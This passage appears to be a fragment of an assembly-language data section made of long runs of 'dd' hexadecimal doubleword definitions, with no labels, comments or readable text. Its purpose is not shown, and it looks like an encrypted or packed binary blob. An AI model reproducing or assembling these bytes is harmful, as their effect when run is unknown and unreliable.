0DE854157h dd 0E8AA0475h, 6C0042Bh, 8BC20830h, 5F54EA34h, 0ADB6001Ch dd 280BE5EAh, 0C7D254BBh, 4EBC38D3h, 0CE040A99h, 0F65F5BE8h dd 666013B4h, 81981935h, 38850B68h, 4757507Ch, 0FFF125BBh dd 0D9F362h, 912534BAh, 0DA292117h, 641660E7h, 0E455FC7Ah dd 13AE90AAh, 742F3061h, 43DE9A5Bh, 81EAD5h, 0EE01D3BBh dd 0C8F7063Ah, 3A00752Eh, 0EB096D2Ch, 95EC84E9h, 0D05DF892h dd 0B5D8976Ch, 812D38B5h, 15D80AE3h, 2CC2730h, 0B12DD1Bh dd 8BA009FDh, 0C9DCF416h, 69A9B880h, 0C1030B3Ah, 0BF5705E8h dd 70A3A011h, 0C0894AE9h, 4B40B868h, 7727EB2Fh, 0DDEFA380h dd 460A95Ch, 4F5FEEB2h, 0ADD29F6Ah, 0B22DF68h, 17C7283Bh dd 3B15AFD3h, 2DE85FA6h, 6231C816h, 0CFE776Fh, 0F5966803h dd 9ACBB4EEh, 1E880500h, 0E8293726h, 1B4FB8C7h, 0E7CF024Bh dd 0F8FF4208h, 0B8C0927h, 0BBFE3EA5h, 0E3209E20h, 372D0006h dd 4867FD74h, 0AF09B035h, 0F8898C71h, 20915F0Ch, 5975A7DDh dd 0E4682F09h, 60A0D638h, 0FBFA76F4h, 704B49B0h, 0F1067AF2h dd 50C6860Dh, 0F83178C1h, 0B97E67E9h, 4A4F1DB5h, 77095B93h dd 119590D9h, 22F5286Fh, 0DF3507A1h, 0BF2DBBD5h, 1395180h dd 7A205F8h, 8BCBC055h, 0F23FC0D7h, 63F32B38h, 0A596AAF6h dd 5BFD8800h, 7CED8058h, 8B86EFFh, 0EB285AA5h, 0FE77CDB0h dd 0C2E85EC5h, 6054A446h, 928BDA39h, 3E2D6607h, 94054127h dd 5F6AAD6Ch, 8F688038h, 8D32344Fh, 7D7B77DCh, 802C42A5h dd 8D633E55h, 5B6C900Dh, 0F5A6B8F4h, 4EA2A6AEh, 4B08F0C8h dd 0C7872861h, 6F60DBB0h, 407FF351h, 4867608Ch, 0FEF6D822h dd 5B73B0B0h, 0D2D04Ch, 382C02D7h, 9F4D5EE9h, 572DFE5Bh dd 0F955911Ah, 45754BC5h, 322A0A1Fh, 65FD8B89h, 4D60ABD4h dd 987DD572h, 1A4169D9h, 2595A2DFh, 0C4AED44Fh, 0E1FCAE2Eh dd 2AF198CBh, 4660A8A8h, 0EE685A33h, 0C117AB2Eh, 5DC20769h dd 0B4E0EB51h, 26DCF69Fh, 3CC9B252h, 0BED000CEh, 738F7BE1h dd 9F7BD09Fh, 857E534Ah, 4E359E5h, 56042D48h, 91BCBDE9h dd 543078E3h, 2CDD0048h, 0BB1E7116h, 4079C626h, 62B83112h dd 0F57CEA5Eh, 182362C8h, 58FD5859h, 537BE507h, 0BF3C019Ch dd 7027C023h, 619A4C18h, 9DFEBD05h, 0B1C53191h, 0C03784EAh dd 0D653E5C5h, 1FE90B09h, 40A410D5h, 0F6F490F7h, 177760B9h dd 0AD59C5EFh, 5C014425h, 13E7CA8Dh, 0FCC88902h, 655D7321h dd 75F060E7h, 4E19BF68h, 6D68F04Dh, 0DB0E6612h, 40398FB4h dd 0AA9C887Dh, 28287408h, 8DBA0983h, 6AF5C33Ah, 0BE786164h dd 1BBD6800h, 36B5EEA6h, 45595EA8h, 14F8E05h, 35692975h dd 97E2D873h, 7ADA3418h, 5242818h, 5E93B8Fh, 9B22BB38h dd 4AAE7021h, 991A81EDh, 73C504D4h, 78324283h, 2FF18A09h dd 1D5008h, 2A18CFBDh, 0CD038119h, 6D97C44h, 129A24D1h dd 0E380BB2Fh, 0EECB8143h, 106AD373h, 0CD34CB12h, 0EE46C4EAh dd 27C0CA9h, 0E9D6E22Fh, 0BBEAE5D8h, 41C027DDh, 856603F2h dd 6E828ED3h, 0C562FF56h, 3A16EAC1h, 5CB05692h, 0F7910906h dd 2D8907A0h, 0BD9C6AEAh, 17F39030h, 0CF4912B2h, 0D852EB05h dd 4C0C2116h, 975B3EB9h, 51D2E941h, 75158D0h, 5A673EA2h dd 0A8AD0FC8h, 8777FEB5h, 78E11BA5h, 7E913A2Ah, 2C2E5FFDh dd 7464992Ah, 0F8BB8F5Bh, 520DC92Fh, 0ADC902B9h, 494E3670h dd 0A714C37Dh, 1AA9E1B0h, 8B7650D5h, 82B6138Ch, 19AC55Ah dd 0EC48D452h, 2B047E10h, 6FEC2153h, 0A0B5B9D7h, 0B14081E9h dd 0B52A9E0h, 0A1D42B30h, 8850E751h, 79FE62B1h, 0BDA4EC1h dd 85D55AAFh, 0E7EA32DEh, 662E7BA0h, 5B42AD0Ch, 0CD7C755Eh dd 0A0C8BEC3h, 0F13FB268h, 4A4B8A48h, 0D4CBEC46h, 2C4B9F90h dd 0B17F9EAh, 655403ACh, 96653661h, 1A4C26Eh, 89BA5220h dd 25C1057Fh, 8C73ACE9h, 6C32680Bh, 0FCB1AB62h, 8766174Ah dd 0ED884B5Fh, 0BA11A507h, 0C8913A02h, 5DC2796Fh, 0E870B5DEh dd 73349445h, 2BFECBF1h, 0B046E045h, 60B8B6EBh, 3D69B2B6h dd 48E97751h, 0EB93421Eh, 7BA4C484h, 334D543Fh, 0EA628283h dd 85354F7Dh, 9821C668h, 4F9EFE4Fh, 4089471Fh, 8DC5F17Dh dd 2E66C6B9h, 60476AA4h, 45BEC15Ah, 4F4C9E4Bh, 674002E2h dd 0E2572FA6h, 954258D8h, 8439DB54h, 86E4EDFh, 8411DB9h dd 1DEAF240h, 0D10B0137h, 9BE947E7h, 90A37EB7h, 58D7A589h dd 0C80A89E5h, 57BD0F7Fh, 0FA249E60h, 94C05F4Dh, 21BC12EFh dd 1C3AB6D6h, 665E7240h, 0DE9866E6h, 0DB9D9AB8h, 0F4562F09h dd 0D78BCC09h, 0F8A4631Bh, 7CF71756h, 5B351783h, 0E951A00Dh dd 0F7DDAF2Fh, 0E918503Eh, 0E2873D86h, 0AE06D002h, 0AE6DBF13h dd 0CB60086Dh, 5FDBB5A9h, 0B1955194h, 5802906Fh, 0A5A1DC75h dd 7D691EF4h, 0FBFC2A2Fh, 57B5C998h, 7D163CF6h, 8CAD1155h dd 94A43004h, 7B10B883h, 6E9DD09h, 48875432h, 11EF0CF9h dd 859F5E12h, 0CCBF2E57h dd 0CC09880Ah, 441C1468h, 0F8E6F431h, 0F85A4EF3h, 49E9E8E9h dd 0FD5E3F31h, 5EDB0419h, 0D2847970h, 92C1F2FEh, 2E68E5B4h dd 0C2E7095Ah, 96A257D6h, 0FBF74C73h, 440142CEh, 0F6EA8800h dd 0A960E9D2h, 2E500C0h, 0E9C9F580h, 54BDD105h, 0FF55C461h dd 0B3920DB7h, 0A768C3B7h, 809F2F2Bh, 0E3D858EBh, 6BFFB840h dd 2F974C00h, 5F72E52h, 0E9D987D1h, 4FB7B814h, 365104A3h dd 2D27067Ch, 0F5A591D6h, 7FC0C3EAh, 3F25147Ch, 0D1EAD707h dd 7948015Fh, 1F2ACC12h, 727D9C0Bh, 5963C1BBh, 98D5F7C9h dd 88465208h, 58EE0B7Dh, 91F7C289h, 51DD80D5h, 4EE8D3F9h dd 2EEBA98h, 306012FEh, 5677C721h, 16FFA73Dh, 959AD585h dd 2583E03Ah, 6C5F39B6h, 50F518E9h, 5859CBCCh, 3E5C2C58h dd 0A8849F64h, 0D45B257Fh, 165D6BB9h, 2E75959Ah, 9F0879h dd 579BE381h, 20B8560Bh, 0B3274C01h, 6FBAE91Eh, 7C04B7Bh dd 0D22DF0D3h, 4CBC0914h, 2F583CF8h, 7518E57Eh, 0B30C5208h dd 0B0604F46h, 471633A6h, 0B01E41D5h, 252CE6AFh, 2CF9665Ah dd 0EBBF159Bh, 20A8E4Ch, 7144A7B9h, 825F0948h, 0C010736Bh dd 132E0563h, 0B11A5ADBh, 12116C43h, 0A3EA4C64h, 1B58E8h dd 54BB743Bh, 2E2F3032h, 10D7C331h, 0F7810209h, 75EF6BFAh dd 16F1326Bh, 78376365h, 0EA96B42Dh, 7FD87725h, 5AB57290h dd 8D74BDEAh, 8300574Ah, 0E9152544h, 0E98E546Ah, 0E8025BEEh dd 4BAA100Eh, 1E061465h, 0BC3A04DBh, 7042C032h, 0B608407h dd 0E8785C0Ch, 223B072h, 3995AFA5h, 705EF029h, 904094A0h dd 413D259h, 12A66FCCh, 0F56B21E5h, 214B2E43h, 976D788Ch dd 6708DCC5h, 4BEF20DDh, 4846B8AEh, 76B820F4h, 0EB935F53h dd 0B4ECDD31h, 0E7F40104h, 20394E26h, 100CB200h, 0E4D4983h dd 385013D3h, 0BA0B0933h, 0F41C4F84h, 0D80C7C8h, 1C1DF65Bh dd 2534D9E9h, 0D1D2BA57h, 90B6B003h, 5B515374h, 842A0FDh dd 27DC59B5h, 0A84FED55h, 0C597A40Eh, 0C03CBD50h, 89DFE993h dd 530017D3h, 51496843h, 72595C5Eh, 0F0015FB0h, 128DCCB7h dd 0A3228E68h, 4A27004Ch, 0CE811032h, 6D9CA102h, 87DEEA47h dd 0C6821C1Fh, 0E0665767h, 172A5359h, 7A70C731h, 0C6634EEh dd 0FE2936A9h, 5626CCC6h, 19097532h, 93ECF171h, 15EC2128h dd 10560741h, 602D050Bh, 0C1E038A8h, 7F7923BEh, 0D1BD3889h dd 2CC93A98h, 0A973EC80h, 283C13B8h, 0CBC13AE1h, 59A655B0h dd 680BBFA5h, 0CBE60116h, 0C409F390h, 8E3DB439h, 0E25E09ACh dd 24795D0Dh, 0A40C342h, 2493789h, 0FAD5F731h, 0F6BA2D7Ch dd 53EE0AFEh, 0A28F93AAh, 0BCE0435Bh, 0D21C180Eh, 7C3D0C17h dd 7E790F25h, 0D008A03Ch, 5802140Ch, 28E95251h, 7940E7FEh dd 0BD53FA5Bh, 0DFD41741h, 742DABA5h, 18DE47Bh, 0A90CC89Fh dd 6C222734h, 8A033F4h, 8B57E91Ah, 0EA80DD60h, 18060B0Fh dd 0C7285595h, 655E0CC8h, 87275DCBh, 2F0ADB0Ch, 80F54BBAh dd 997701DDh, 0D0C8BD1Fh, 0E6974758h, 8F1355BFh, 0E49BD76Ah dd 6F0D00EBh, 4C75D517h, 6072A340h, 8A2D08D8h, 881908C0h dd 6194C601h, 5F173C2Eh, 0EB2D0690h, 2823480Bh, 0D193D6Ch dd 2CF21D90h, 133CDF91h, 59E3F89Ah, 95E5538Bh, 5B1AE906h dd 744600A9h, 0B50579C8h, 0A4B41408h, 99061C2Dh, 91E5AD57h dd 20525A89h, 25344A50h, 92A0990Bh, 0EA8653E7h, 1F273420h dd 0FC295B11h, 7D4D1205h, 0E940A38Eh, 0F8A85FE9h, 9568C099h dd 7E4B5E67h, 13B64B5Dh, 9A01F017h, 60FF584Fh, 7A8A0D9Ah dd 0A767058h, 0E63E7B80h, 0F57DC90Bh, 0DAC9F14h, 30D03139h dd 1FE908C2h, 38DD95E7h, 0B254501Dh, 57E78117h, 0BB048139h dd 0AB853386h, 7ED9704Bh, 80D54886h, 2D40CA81h, 86905E45h dd 0C5381819h, 67250348h, 0E1FEC642h, 9DAA2C2h, 8701B805h dd 49119126h, 0E2C520E4h, 56594704h, 810EB29h, 342D664Ch dd 0B5F072E4h, 52BB9C5Bh, 859A163Eh, 3A1C2D52h, 0C7E7CABCh dd 0D0BFD5E9h, 9763F8C5h, 0BD2F137Ah, 3D54C6E4h, 0F69807EFh dd 0FCCDEDF1h, 4E285218h, 167A0354h, 4A895632h, 0AC9D759h dd 0A422ED7Bh, 7D2F3D2Ch, 2A05F441h, 702D18E4h, 7F462785h dd 782DE58h, 0C0D13440h, 5E928491h, 0C280A6EFh, 7655BEE9h dd 2032851Fh, 0ED0DC0D8h, 0FE27730Ch, 0E9ECE08Dh, 0B7A4BA80h dd 57501768h, 5879BF1Ch, 0CF814F80h, 65EE709Ah, 0AE03FA62h dd 26BD32F0h, 15F1C11h, 0EE1959C7h, 4A273857h, 552CFFE8h dd 3C910537h, 36EB1410h, 0E558271Ch, 2E27B5D0h, 0D9D23BCDh dd 0C050E37Ch, 5BF9214Eh, 30CEF401h, 5A80E195h, 6669EA2Ah dd 1ACEA134h, 502BD238h, 66037556h, 0A55F5BBDh, 9678FA8h dd 0DDF7C305h, 52E300FDh, 0C5ACE93Eh, 17310BFh, 9DC90EEh dd 2B414E74h, 6255CE89h, 5E8557E9h, 2ECE90Ah, 66981AC7h dd 94D3D758h, 44B7C025h, 42796031h, 0AE20C01h, 0D1CDCDAh dd 14021C08h, 0E1D15158h, 2F8BB1E9h, 2DD930AAh, 88257610h dd 221FD027h, 86CF8194h, 0E0F19668h, 0CA3E7425h, 85E9090Eh dd 2FEA7147h, 0E94109D9h, 0F92FCFA9h, 565C1624h, 6068DA8Ch dd 96B91ED8h, 60E5292Ch, 702A158h, 46E90CBEh, 0AE907D0Fh dd 5D626E68h, 0BA77159h, 0DB3976F6h, 0E9D39FC3h, 0EA396114h dd 0D6751771h, 5180FA50h, 0B2C9FF1h, 0CD294E9Dh, 15EEF8B8h dd 0A893052Ch, 62F84F3Bh, 0E8C45F8Eh, 0F1248864h, 0DC1A3C28h dd 217CDF80h, 2968CC0Eh, 2CFF65CFh, 7593CBD8h, 5E20601Ah dd 0B767F917h, 6ECC36C1h, 58707B10h, 0EEAFC7D2h, 584192D7h dd 5332A07Dh, 9470F468h, 0BFAC20C8h, 4B004F50h, 6658070Dh dd 3B390503h, 3502D02Fh, 0A1E4EB3Fh, 0F2276764h, 253D4687h dd 0B25DBBC0h, 0D866D533h, 0FAB95100h, 8164D43Ah, 2CC818C9h dd 2EC1E869h, 0D81E3212h, 0ECB204EFh, 0B9DDBEAEh, 0AD5F0629h dd 2FC04BA8h, 0E573456Ah, 0AADC60FEh, 9EC6B54Ah, 4012C74Fh dd 0F6BE5052h, 0D84B92F8h, 0B81503Fh, 0C127F6BDh, 0F2EDBC03h dd 0EFE90D0Ah, 0BA81DA2Fh, 5C8C13CBh, 1D685961h, 4CA9FB1h dd 0D40BFDAFh, 44852F16h, 62AEF005h, 595410B2h, 25AA6C75h dd 57998CA6h, 3A856A8Ah, 80DEF2FFh, 70ED6857h, 2B2C487Bh dd 174E6B10h, 0BFFCE6C0h, 0F0281A09h, 0EF0BFE82h, 8F542966h dd 3B4B6380h, 8C659444h, 8DD23CADh, 0B6AF4269h, 0A70B2EDAh dd 0F7258C48h, 0EC5B240h, 3679F424h, 0F613A025h, 3ECAAE77h dd 5E17291Eh, 307B385Bh, 822F44B0h, 517A114Dh, 9606F3E4h dd 11876230h, 23E130FFh, 667D82E8h, 437225FAh, 0D55B2899h dd 0ECE374CBh, 955F5240h, 0CC0ACB56h, 5316F9F4h, 106D1DC0h dd 0A1444AA6h, 5B070073h, 0C49F6C01h, 0E0E91238h, 827D35DDh dd 590276F8h, 52615687h, 801F45Dh, 0F425CDEBh, 842D1DC1h dd 0BC21892Fh, 0D1430903h, 4A8883E3h, 700B9B02h, 0A50E1D9Ah dd 4E5966Eh, 0C2097740h, 0D1DF5757h, 1EC30103h, 20FEBE1Fh dd 4B955F2Eh, 65C294E7h, 0AA02FF67h, 0BAFD6C4Bh, 0B2610F33h dd 106C79B1h, 58C04220h, 0AAAA35Ah, 89579589h, 68B055DCh dd 5E5F0FE9h, 0A519BED0h, 0BF89EA8Ah, 647688C2h, 368B5659h dd 0C2A7889Ah, 552B51h, 24748AD5h, 0D344FA03h, 0F0631608h dd 0E19FF765h, 2C7E5EDFh, 99DFA75h, 0F26DF51Ch, 0E0E2E986h dd 97F60729h, 0BE7ABA39h, 48EFB072h, 1F720D0Fh, 540028Eh dd 0D4FD618Ch, 0A04A1E78h dd 5397BFC6h, 32620816h, 2E3CBE07h, 8CB82510h, 9F3FF8F5h dd 782BE982h, 0B9EAD103h, 58668734h, 2EC08410h, 0E116ADF6h dd 237F0EFEh, 8263EB64h, 50E561CAh, 6A116804h, 134A0CB2h dd 5A42FB0Ah, 7FA499E9h, 0E2FAFCC6h, 5DD72980h, 2D008F5Ah dd 67C558D9h, 2387135h, 0F70502AFh, 5626DAF6h, 2392CB4h dd 21AA5CDFh, 5430F940h, 0FE7FF925h, 78B58303h, 0C024FA1h dd 3CB82F1Dh, 44034046h, 0C79C08D0h, 0E984F221h, 83BD3FD1h dd 7008C307h, 0DBF722C1h, 72698F61h, 0B76E075Fh, 0E1B5B34Ch dd 0FFEECB0h, 5ECC0C4h, 0FABBDD45h, 6D2E76B7h, 0EEA4A834h dd 0D46C5F88h, 6BD4BE40h, 325E6DADh, 88C266E5h, 0E98993FCh dd 0F71DE2B9h, 6805F5C7h, 0C68D06E7h, 8520E2Bh, 75E93AA2h dd 0AC583B58h, 3EDC2042h, 541ED9BBh, 0A057926Eh, 0B03B502Bh dd 16C03DF8h, 96BD7D25h, 0B49D6916h, 5B1E5556h, 80D247B2h dd 340CA1C6h, 8043BF64h, 0DE5AADCAh, 0A9B81118h, 5103E90Bh dd 0C0F03282h, 24021FE0h, 0A51755DAh, 5A9CBE02h, 615F29ADh dd 0AFF956EFh, 0FA4B8768h, 0A28298D4h, 315F026Bh, 2DED72FDh dd 0DB92E301h, 2F667A7Dh, 2AC8E1C1h, 413D6B39h, 9743AA37h dd 1D2050B8h, 807D9084h, 92B987D9h, 20C4B84Ah, 80176720h dd 42EA38C3h, 151684Fh, 0B132CFAEh, 82296F63h, 701C2720h dd 2D7C9518h, 0DB7C8B59h, 4539CD5Fh, 970BA9C4h, 2CFF09C4h dd 5B4ADDE6h, 2118788Eh, 2E2D752h, 505BD69Fh, 22CEA060h dd 5B9CC55Ah, 0BAD7C6BCh, 37A10F45h, 82828DEEh, 0F979BE06h dd 82B8787Eh, 2AD64407h, 0E84FDEh, 4963018Dh, 0EC1E681h dd 983D7C32h, 0E67709B2h, 71C424C1h, 575E8965h, 0F55BBA7Fh dd 7C028C65h, 89627B23h, 61328EF0h, 1EEB7FCCh, 14A8F1D8h dd 0BF3F5E34h, 0AB5A8212h, 328D95B3h, 98E36EDFh, 0CA517305h dd 6AC1BF6Eh, 0D82A3704h, 7B4CA612h, 0F821A1E8h, 846B48F5h dd 0F167BCA8h, 1620E1F7h, 0F58080CAh, 0EF28B206h, 0B7A85259h dd 36E728E8h, 85BE63DFh, 29C46E44h, 4D12A5E0h, 0A15F2728h dd 2D8CC45h, 0C004632Fh, 4E2A7658h, 2BF9445Fh, 58FB4C97h dd 44FD8249h, 6BB2657Dh, 0D4728353h, 6B58E791h, 0E9134CE8h dd 0BA175226h, 580BE1E3h, 0D1D4B450h, 0EF800A00h, 90FC08B1h dd 0A3C03068h, 2885C32h, 4E8043B7h, 23CBEE65h, 296F506Ah dd 0C050649Dh, 0CB134281h, 0CD80654Fh, 9DBA4A27h, 4B95EA80h dd 18C01A55h, 186614ACh, 2AD86089h, 3D0EFDC2h, 0C4AF464Ah dd 58080929h, 10E23A5Dh, 0D26CE596h, 2563F2BBh, 0A5D9D443h dd 0A325FB54h, 0BA5AB147h, 0F8717D3Dh, 0F6A5F59Fh, 11F173E6h dd 8AA32A7Fh, 2A4C7E10h, 0E8B746BDh, 27E95148h, 0C371276Eh dd 0E93DF469h, 905D504h, 0B1D9775Bh, 0D9BAD7ADh, 7B396758h dd 3A9B500Eh, 1B57802h, 0E868CDE9h, 0F05F54B0h, 0E3254E32h dd 11CB35A1h, 85ADD883h, 86FBB2FEh, 4E2AB42Ch, 8950E247h dd 5F3A623Ah, 0E95873D9h, 0E24F5BEFh, 2A921060h, 0AA43B213h dd 4C31DFF4h, 124EA0DDh, 9F98AE2Eh, 666A9F2Dh, 8E7D8377h dd 0EA284CD5h, 2240FE5Fh, 72840B27h, 52C2C131h, 6F70CB68h dd 4B00D1B6h, 33BA0254h, 6B4A95D9h, 5240F0A0h, 9B07C856h dd 0B2776242h, 0EE57EE35h, 0BC555EE9h, 0C729854Fh, 0D360EF04h dd 0FF92ABA8h, 17619805h, 57D62CFEh, 0E3F7E916h, 0E415C9EBh dd 1EC07798h, 8C06BCBBh, 0EBD11C05h, 0A30892C1h, 0D9290C9Fh dd 51AD7453h, 0A064422Eh, 0B14F0C3Eh, 55A2422Ah, 1C914180h dd 0FAD7F797h, 518FC0CEh, 58095950h, 9A608D68h, 56CA6AC3h dd 0EC9145E4h, 6BBA024Dh, 0F72A7E4Fh, 48F3FBE0h, 0DF485892h dd 423E7BCFh, 994BA899h, 795ACE40h, 0A2E4FF08h, 0BA12D34Ah dd 0DA40D52Eh, 6B324828h, 40B5A20h, 0D5036978h, 270827A8h dd 0E8B8A87Dh, 0CA197427h, 24802D51h, 1931DEBDh, 0A753C83Dh dd 0B9446116h, 29A3496Eh, 0E845BA02h, 0E46179F5h, 55F92ACh dd 20071CF5h, 0B80636D4h, 22661EEEh, 99B52796h, 7E158565h dd 0DC24759Eh, 0FCAF0233h, 0C8982DC7h, 0F8955251h, 0D5E23986h dd 4FEACAA8h, 8A1F8434h, 2DC61219h, 6882BEE9h, 23D47B27h dd 7C481360h, 0CBD8A042h, 0AB5613C3h, 0DF5EEE79h, 39559344h dd 0E2A101EEh, 0F07C036Bh, 0F5123EEEh, 0F4EF6689h, 0B102CD8Eh dd 7CE9EB06h, 0FF9077DCh, 797EB652h, 0FA69AACAh, 30FE2889h dd 0F4F72CE3h, 5AD1EBF0h, 0ACE8C8FDh, 6A2713E9h, 5FB2AAFFh dd 0B05A21D2h, 0A2F90766h, 0D55E3D42h, 3FA61547h, 0BD6D6858h dd 21138E5Bh, 0EEE98245h, 488148F0h, 0A61412CEh, 7806F172h dd 0F646155Fh, 0A92DA1F2h, 25CED6FFh, 0EA500D72h, 2500B498h dd 0F681517Bh, 7E2213A7h, 0E9F21E63h, 0A673A70Ah, 794D8C0Bh dd 65DECE8Fh, 1EA94775h, 0B3C32DE9h, 88B956E3h, 0C2B38016h dd 76AE3F0Bh, 17E29729h, 595D0802h, 0EE4F73E6h, 0C9BE3590h dd 46051409h, 1B05F14Eh, 0FB1E3603h, 0E8C1F480h, 8FA8D007h dd 0C56C6286h, 2EF7893Ch, 2DA6B274h, 2F1188h, 0C680CE86h dd 0A3A3FE7Ch, 325A54BAh, 0B7757402h, 40E38121h, 986CB977h dd 36DC2016h, 4AF55D4Eh, 0F22E9835h, 9EECC5F8h, 0B2BFDD94h dd 2C94974Bh, 3D64C1FBh, 0C781C81Fh, 0C1373209h, 204C5013h dd 40BDDBD2h, 1673ACEDh, 0EC5F20A2h, 4AE982B7h, 0E9187D7Ch dd 0A1BF5CBAh, 6CE66354h, 5F1E0D70h, 0EC09DD3Ah, 0CB9250CCh dd 44F6D75Ah, 13A4FC5Eh, 2DAB6A6Dh, 843A6DBCh, 290B4191h dd 0D64A0FF8h, 4400C9AFh, 0B4AC8404h, 7C97FEB0h, 27144AD8h dd 9887A704h, 0CABF5A9Fh, 13945781h, 0E9053C93h, 0DD11FE6h dd 0A16A67C7h, 12FF7854h, 415444DFh, 75E71E33h, 84EF06D6h dd 0A408102Ch, 0FE16929Eh, 28E5CA61h, 0ECD0DD3Fh, 9AA95A41h dd 0BFD944F7h, 0FA4B9CA2h, 90CAA812h, 9F062125h, 4298133Eh dd 2825BC0Bh, 2FD6783Bh, 90754CB1h, 1F99B229h, 95C4B450h dd 9F49B1B6h, 0F554A19h, 134F3ACAh, 29FB895Eh, 97CC699h dd 671363C3h, 0E2E27175h, 5D09DF1Dh, 4B0B62F8h, 550EF208h dd 4DE585h, 4F111DF6h, 4337E905h, 596B7D65h, 2670A571h dd 98947E20h, 0A78D2FA3h, 0A21511F7h, 5C7227FFh, 0E978C55Eh dd 3D4BB53Fh, 0FEF4A5B3h, 441A6D31h, 0BBC5CF69h, 0A98EC0Ch dd 7FE55EE9h, 0C052B380h, 2C5005EBh, 3585DB0h, 20C58058h dd 0EDABDD83h, 9084E6ADh, 0E8288206h, 0CEF3F659h, 88A073EAh dd 133DFCD6h, 0DD4662EBh, 310B33FBh, 37292AB4h, 74AA2D3Ch dd 96803C4h, 0BA0B36E3h, 0D1815F94h, 6873E94Ah, 92F45AEBh dd 0F97E1FD1h, 30876E38h, 1471BD1Ah, 0F839FE2Eh, 0C465B100h dd 0F0FD294Fh, 0D508A2EDh, 2E5DF7E1h, 697A6F98h, 0D9D5846Eh dd 0CEA44270h, 550094C6h, 8840E1BDh, 90E5C129h, 2F4EB00Bh dd 0ACE6C60h, 0E62587B0h, 42DC5102h, 51FEAEE9h, 641CDF2Fh dd 532FAC20h, 5A171D5Ch, 9E500B57h, 43DC5BA9h, 9A927670h dd 2E666438h, 0AC84D5DEh, 0AEC460DEh, 0B717C84Ah, 303D8A81h dd 0CDFA8EDEh, 4DA7E49Eh, 27DADEAh, 1E8C5223h, 34D0F729h dd 9A98DA84h, 0B471C200h, 0E9F0894Ah, 0ECBF4B54h, 7192B0A3h dd 0E9391BF4h, 6E03FB10h, 3F4BB6EDh, 58DDD261h, 423408A7h dd 80093102h, 56BB5F3Dh, 6B4E9FD9h, 2D5CB620h, 164713E3h dd 0D510AB38h, 16044807h, 45903A17h, 3675B0EEh, 0C8CA76C6h dd 79420882h, 792FC77Eh dd 525862B2h, 0E4CE0F0Bh, 0E61341F1h, 0B786543Fh, 554BE4Ch dd 5453E9CAh, 48D0A6BEh, 182F0113h, 0EFC16392h, 5FD82330h dd 85D8E9BCh, 0A3EFDD01h, 2FFED0C9h, 1EA27D2Eh, 18DF0ECBh dd 824B6068h, 0D88E6B75h, 0BF32A644h, 0F902F78h, 0E9A6DCB5h dd 915352D6h, 9D4979EDh, 6C220BE8h, 19DC9C57h, 552736BCh dd 7F253E47h, 714F90E5h, 0AFCF3734h, 0F4E150BCh, 9C342F18h dd 2D09A0EBh, 0A8C4CB9Dh, 0EDEA3CB8h, 5786727Bh, 3FC4943h dd 9A6D8E0Dh, 0FBE98442h, 0D311B2BBh, 0E9C5ABB6h, 5EA4E84Fh dd 0EAEB39BEh, 0C5D4C5F7h, 0BB3D715Ch, 740DE4C9h, 2620D990h dd 847BE48h, 91739C3h, 0BF1ADA0h, 0E1E4AEFh, 217021D6h dd 0AB5D4BE8h, 5593CBD2h, 70207D5Ah, 5039095h, 307617CEh dd 2079974Dh, 14F6C7DEh, 89089790h, 48771E59h, 1E5D1808h dd 850C3C1Ah, 0B2FE0147h, 18E9405h, 1261E1BBh, 65A0E968h dd 0EDB77E44h, 0C88AE9C2h, 31D5CAE9h, 43417FF7h, 4CF448C4h dd 0F94E5BEh, 2D772941h, 18F15ED9h, 4852CD97h, 17E41FA0h dd 0F97DD413h, 8B084142h, 57547070h, 59E79C18h, 28FB3AE1h dd 0E325E937h, 9173F983h, 5FFA6401h, 0CECA0ABEh, 0C94298D5h dd 56005250h, 0C555C668h, 4815E1Dh, 4660D7CEh, 9A20806Eh dd 1C483440h, 353D020Fh, 7F316393h, 0A400F466h, 5A2BEA67h dd 9748C5E9h, 7CE35F18h, 1CB8080h, 5EB25271h, 0CC07E2C0h dd 0E09008EAh, 71EFF65Eh, 36875ED5h, 6B8D1026h, 0B513583Bh dd 1CD56C2h, 0E3800817h, 860699D4h, 0C3E57B68h, 0E389E9F4h dd 4D84F24h, 2E04842Dh, 6388376h, 7B4180C0h, 131E3B7Dh dd 0F22DC9BCh, 9580E357h, 0ECB75352h, 0FEE0AEB6h, 0C6865B1Fh dd 6608D099h, 0CFC7B07Ah, 84E7E92Ch, 419182AFh, 0C130053Eh dd 2E785EB1h, 0B2BA0434h, 9D04921Eh, 2AB44C3h, 140C52EFh dd 0C5056DC4h, 0E2E8114Eh, 0F3900AD7h, 143D5h, 0AEBE563Eh dd 4E201F22h, 79F6F2A2h, 6431C681h, 0E940584Dh, 9B33FF8h dd 0ECC7E94Bh, 68892771h, 4D4DD5BAh, 61DCE905h, 90BA65F4h dd 0BDA324A2h, 60DE8E7Ch, 0DCBEF13h, 84B08B5Bh, 0BB175F10h dd 45130B16h, 0BE5FC4FBh, 0E909F38Eh, 7429D0D7h, 5580E7D6h dd 310D6E0Eh, 0B23A90D8h, 96C2BFEAh, 9808F0DDh, 543A096Ah dd 0B30F165Eh, 0DB182C62h, 88B392F0h, 61D4F42Fh, 2F52F568h dd 0CA8F5F32h, 30C774ACh, 10408556h, 0F801C016h, 12EAD108h dd 3505B05Eh, 0E5102C6Bh, 0B892A7C0h, 0D1587689h, 7E42AB18h dd 495CE95Ah, 0CB262B8Dh, 5A6D5A9Fh, 284E7525h, 0E7202A41h dd 28B009CBh, 0DD7486Fh, 0C480A448h, 31EA24DAh, 0E92FEF87h dd 591CE13Fh, 2331BB2Eh, 7D28771Ah, 6D7EA5C9h, 5AD12904h dd 4E9E6EB1h, 4984400Ah, 382FE997h, 9F7C7AAh, 5F40DA4Ah dd 0B5FB985Bh, 54968B9Fh, 0EA136E1Fh, 6B4D8391h, 0D101CC2Bh dd 0B801D894h, 65C12497h, 6A05F320h, 2360F9Bh, 69277F78h dd 8A038D6h, 6422F2A1h, 0F6FA4E04h, 0C9010B0Ch, 0E07AA271h dd 0E59350EFh, 563F13A0h, 6BB5C230h, 52849078h, 21196818h dd 82F998C5h, 5AEFDE5Dh, 47E45975h, 0AE6D69E8h, 7127DD0Ch dd 6E3D0DEBh, 2B0C6DEAh, 0A55C4F8h, 593DFF2Fh, 0D829217Ah dd 27590329h, 3F9884A6h, 5B81B24Ch, 0AD7E0CF9h, 9B1E02F1h dd 7F01A58Dh, 520A0D1Ch, 64C76E9h, 696CBB09h, 0D42C3C16h dd 0B6328BDFh, 56E41476h, 0F48B5DEDh, 5C2D5C5Eh, 6703D24Eh dd 2B039DACh, 0B152A4EAh, 93D6DA74h, 0E789DECFh, 0BF17BEECh dd 310EBF18h, 0E06B54BDh, 0DB6328BAh, 0C6E9220Ah, 2D939690h dd 357B66A9h, 